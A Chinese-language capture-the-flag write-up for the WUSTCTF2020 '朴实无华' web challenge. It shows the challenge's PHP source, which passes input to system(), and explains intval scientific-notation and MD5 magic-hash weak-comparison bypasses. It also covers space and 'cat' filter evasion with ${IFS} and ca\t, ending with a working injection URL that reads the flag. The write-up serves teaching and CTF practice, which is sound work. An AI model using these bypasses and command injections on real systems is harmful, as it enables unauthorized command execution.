[WUSTCTF2020]朴实无华(特详解)
- ctf
- 2024-02-08
- 3861热度
- 0评论
一开始说header出问题了
就先dirsaerch扫一遍
发现robot.txt

访问一下

去看看,好好好,肯定不是得

他一开始说header有问题,不妨抓包看看,果然有东西

访问看看,乱码修复一下,在之前的博客到过

<img src="/img.jpg"> <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
很明显要绕过三次
先看第一个
要求num小于2020,且num+1大于2021.
用到:intval 绕过
这个函数是强制转换为int类型。
进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001那么我们成功绕过了。
首先先看一下这个
<?php echo '3e3' ; ?> //结果为3e3 <?php echo '3e3' + 1; ?> //结果为3001
这是因为在第一个 echo 语句中,'3e3' 被视为字符串,因此会直接输出其内容 '3e3'。而在第二个语句中,虽然 '3e3' 被当作字符串,但由于与数字相加,PHP 尝试将其转换为数字。在这种情况下,它将 '3e3' 解释为科学记数法,表示 3 乘以 10 的 3 次方,即 3000,然后再加上 1,所以结果为 3001。
因此
<?php $a="4e3"; echo intval($a); ?> // 4 <?php $a="3e4"; echo intval($a+1); ?> //4001
因为是get传参数,会自动套上" ",所以我们传参3e3就是字符串"3e3"
num=3e3

第二个绕过
要求我们上传的$md5==md5($md5),注意这里是弱比较
| PHP中的hash缺陷即指哈希算法加密之后的一种特殊组合,即以0e开头+纯数字的组合,比如: 0e708279691820928818722257405159 然后在PHP中这种特殊的hash(也就是所谓的Magic Hash),会被认为是科学计数法,因为这是科学计数法的表示格式,而在科学计数法当中零的N次方(0 x 10^N)都是0 |
|---|
==弱类型比较中,字符'0e123'和字符'0e456'虽然是字符类型,但是因为==比较不比较数据类型,只比较值,而值就是科学计数法的表示格式,结果都是0,所以相等,返回true ===强类型比较中,字符'0e123'和字符'0e456'在比较数据类型的时候就被当作字符类型,而字符'0e123'和字符'0e456'当然不相等,所以返回false
| Plaintext | MD5 Hash |
|---|---|
| 0e215962017 | 0e291242476940776845150308577824 |
| 0e1284838308 | 0e708279691820928818722257405159 |
| 0e1137126905 | 0e291659922323405260514745084877 |
| 0e807097110 | 0e318093639164485566453180786895 |
| 0e730083352 | 0e870635875304277170259950255928 |
那么只要MD5前后都是0e开头就行了

MD5绕过参考的这位师傅
第三个绕过
就是过滤了空格和cat, wctf2020
好在都可以被替换
代替cat: more、less、head、tail、sort、ca\t 代替空格:$IFS、${IFS}、$IFS$1、$IFS$9

直接上
?num=3e3&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

